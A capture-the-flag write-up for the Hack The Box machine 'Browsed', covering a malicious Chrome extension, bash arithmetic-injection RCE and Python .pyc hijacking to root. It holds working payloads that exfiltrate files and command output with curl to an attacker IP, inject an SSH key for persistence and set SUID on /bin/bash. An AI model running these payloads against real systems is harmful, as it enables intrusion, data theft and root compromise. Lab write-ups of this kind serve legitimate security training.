Browsed
Browsed – HTB Writeup
Machine Summary
| Property | Value |
|---|---|
| Name | Browsed |
| IP | 10.129.244.79 |
| OS | Linux (Ubuntu 24.04) |
| Difficulty | Medium |
| Key Topics | Chrome extension abuse, bash arithmetic evaluation, Python .pyc injection, sudo privilege escalation |
Overview
Browsed was a Medium Linux machine running nginx with two virtual hosts: a static site with a Chrome extension upload feature (browsed.htb), and an internal Gitea instance (browsedinternals.htb). The server executed uploaded Chrome extensions in a headless Chrome for Testing v134 instance, which visited the Gitea site and localhost. A public Gitea repository revealed a Flask application on localhost:5000 with a bash script vulnerable to arithmetic evaluation injection. A malicious Chrome extension called the vulnerable Flask endpoint to achieve RCE as user larry. Privilege escalation was achieved by injecting a malicious .pyc file into a world-writable __pycache__ directory belonging to a Python script that larry could run as root via sudo.
Reconnaissance
An nmap scan of all 65535 TCP ports revealed only two open services:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
The HTTP title was “Browsed” and the hostname browsed.htb was added to /etc/hosts. TTL of 63 from the initial ping confirmed a Linux target behind one hop.
Enumeration
browsed.htb – Chrome Extension Upload
Fingerprinting with whatweb showed a static HTML5 UP template site with jQuery and PHP backend. Three key pages were identified:
/index.html– Homepage mentioning Chrome v134 extensions/samples.html– Three sample Chrome MV3 extensions (Fontify, ReplaceImages, Timer) available for download/upload.php– Form accepting Chrome extensions as.zipfiles (content type must beapplication/zip)
Uploading a test extension and polling upload.php?output=1 revealed Chrome’s verbose logs. Critical findings from the logs:
- Chrome for Testing installed at
/opt/chrome-linux64/ - Chrome ran as the
wwwuser (profile at/var/www/.config/google-chrome-for-testing/) - Extensions were extracted to
/tmp/extension_* - After loading the extension, Chrome navigated to
http://browsedinternals.htb/andhttp://localhost/ - CSS paths in the response HTML disclosed Gitea 1.24.5 on
browsedinternals.htb
The hostname browsedinternals.htb was added to /etc/hosts.
browsedinternals.htb – Gitea 1.24.5
The Gitea instance had open registration and one public user larry with a public repository MarkdownPreview. The repository source code was retrieved via the Gitea API:
app.py – A Flask application running on 127.0.0.1:5000 with these endpoints:
| Endpoint | Method | Function |
|---|---|---|
/ |
GET | Markdown editor form |
/submit |
POST | Convert markdown to HTML, save to files/ |
/routines/<rid> |
GET | Execute subprocess.run(["./routines.sh", rid]) |
/view/<filename> |
GET | Serve saved HTML files (uses secure_filename) |
routines.sh – A bash script managing temp files, backups, and logs. The critical section:
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
...
elif [[ "$1" -eq 1 ]]; then
...
The use of -eq (integer comparison) inside [[ ]] triggers bash arithmetic evaluation on $1. This is the vulnerability: bash evaluates array subscripts as commands, so a payload like a[$(command)] causes command substitution during the arithmetic evaluation.
Exploitation – User Flag
Attack Chain
- Upload a malicious Chrome MV3 extension to
browsed.htb/upload.php - Server-side Chrome loads the extension and visits
browsedinternals.htbandlocalhost - The extension’s service worker makes fetch requests to
localhost:5000/routines/<payload> - Flask passes the payload to
subprocess.run(["./routines.sh", payload]) - Bash evaluates the payload as an arithmetic expression, triggering command substitution
Key Constraint
Flask’s <rid> route parameter does not match paths containing / characters. All payloads had to be crafted without forward slashes. This was solved by using cd ~ to navigate to home directories and find with -name to locate files.
Malicious Extension
The extension used manifest_version 3 with a service worker (background.js) and content script:
manifest.json:
{
"manifest_version": 3,
"name": "RCEHelper",
"version": "1.0",
"permissions": [],
"host_permissions": ["<all_urls>"],
"background": { "service_worker": "background.js" },
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_idle"
}]
}
background.js (key function):
async function tryRoutine(payload, label) {
// payload must NOT contain / (Flask <rid> route won't match)
if (payload.includes('/')) return;
const url = "http://localhost:5000/routines/" + encodeURIComponent(payload);
const resp = await fetch(url);
// ...
}
The payloads used the bash arithmetic evaluation trick:
// Get user flag
await tryRoutine('a[$(find ~ -name user.txt | xargs cat | curl -d @- 10.10.14.51:9999)]', 'flag');
// Get id
await tryRoutine('a[$(id | curl -d @- 10.10.14.51:9999)]', 'id');
// Create .ssh directory and add SSH key for persistent access
await tryRoutine('a[$(cd ~ && mkdir -p .ssh)]', 'mkdir_ssh');
await tryRoutine('a[$(cd ~ && cd .ssh && echo BASE64KEY | base64 -d >> authorized_keys)]', 'add_key');
await tryRoutine('a[$(cd ~ && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys)]', 'fix_perms');
// Enumerate sudo privileges
await tryRoutine('a[$(sudo -l 2>&1 | curl -d @- 10.10.14.51:9999)]', 'sudo_l');
Execution
A Python HTTP listener was started on the attacker machine (port 9999) to receive exfiltrated data. The extension was zipped and uploaded:
cd exploits/rce_ext && zip -j ../rce_ext.zip manifest.json background.js content.js
curl -X POST http://browsed.htb/upload.php -F "extension=@rce_ext.zip;type=application/zip"
The listener received callbacks confirming RCE as larry (uid=1000). The user flag was exfiltrated and an SSH key was injected for persistent access.
ssh -i exploits/larry_key larry@10.129.244.79 "cat /home/larry/user.txt"
5e827d3fc8fa66b1bef810477e90d455
The sudo -l output revealed the privilege escalation vector:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
User Flag: 5e827d3fc8fa66b1bef810477e90d455
Privilege Escalation – Root Flag
Enumeration
With SSH access as larry, the sudo-allowed script was analysed:
cat /opt/extensiontool/extension_tool.py
cat /opt/extensiontool/extension_utils.py
ls -la /opt/extensiontool/__pycache__/
Key findings:
extension_tool.pyimportsextension_utilsandjsonschemaextension_utils.pycontains extension validation and cleanup functions/opt/extensiontool/__pycache__/had permissionsdrwxrwxrwx(world-writable) and was empty
Python .pyc Injection
When Python imports a module, it checks __pycache__/ for a compiled .pyc file before reading the .py source. By placing a malicious .pyc in the world-writable __pycache__/ directory, the import could be hijacked when extension_tool.py ran as root.
The .pyc file header was crafted with flags=1 (hash-based, unchecked invalidation). With this flag, Python loads the cached bytecode without verifying the source hash, so it executes the malicious code regardless of what the real extension_utils.py contains.
python3.12 -c '
import py_compile, struct, os, time, marshal, types
# Malicious code to execute as root
code_str = """
import os
os.system("cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt")
os.system("chmod u+s /bin/bash")
"""
# Compile to code object
code = compile(code_str, "extension_utils.py", "exec")
# Build .pyc with flags=1 (hash-based unchecked)
magic = (3531).to_bytes(2, "little") + b"\r\n" # Python 3.12 magic
flags = (1).to_bytes(4, "little") # unchecked hash-based
source_hash = b"\x00" * 8 # ignored when unchecked
marshalled = marshal.dumps(code)
pyc_data = magic + flags + source_hash + marshalled
with open("/tmp/extension_utils.cpython-312.pyc", "wb") as f:
f.write(pyc_data)
'
The compiled .pyc was placed in the target directory and the sudo script was executed:
cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/
sudo /opt/extensiontool/extension_tool.py --ext Fontify
Python imported the malicious extension_utils from __pycache__/ as root, which:
- Copied
/root/root.txtto/tmp/root_flag.txtwith world-readable permissions - Set the SUID bit on
/bin/bash
cat /tmp/root_flag.txt
57c26369d7e423e2ba313ad8f31fa457
ls -la /bin/bash
-rwsr-xr-x 1 root root ... /bin/bash
Root Flag: 57c26369d7e423e2ba313ad8f31fa457
Obstacles & Lessons Learned
-
No forward slashes in Flask route parameter: The Flask
<rid>route type does not match paths containing/. All bash payloads had to avoid/entirely. This was overcome by usingcd ~for navigation andfind -namefor file discovery instead of absolute paths. -
SSH key injection via base64: The SSH public key itself contained
/characters, which would break the payload. This was solved by base64-encoding the key and usingecho KEY | base64 -d >> authorized_keyson the target. -
Python .pyc header flags: Simply compiling a
.pycwithpy_compilewould produce a timestamp-based cache file that Python would reject because the timestamp would not matchextension_utils.py. Settingflags=1in the.pycheader switched Python to hash-based unchecked invalidation mode, causing it to load the cached bytecode without any source verification. -
Service worker vs content script: The initial approach of using only content scripts was insufficient because
localhost:5000needed to be fetched from a context that could reach it. The MV3 service worker (background.js) had the right permissions viahost_permissions: ["<all_urls>"]to make cross-origin fetch requests directly tolocalhost:5000.
Tools Used
| Tool | Purpose |
|---|---|
| nmap | TCP port scanning and service version detection |
| whatweb | Web technology fingerprinting |
| curl | HTTP requests for upload, API interaction, and testing |
| ffuf | Virtual host / subdomain enumeration |
| python3 | HTTP listener for data exfiltration, .pyc compilation |
| zip | Packaging the malicious Chrome extension |
| ssh / ssh-keygen | Persistent access after initial RCE |
| Chrome for Testing (server-side) | Executed the uploaded malicious extension |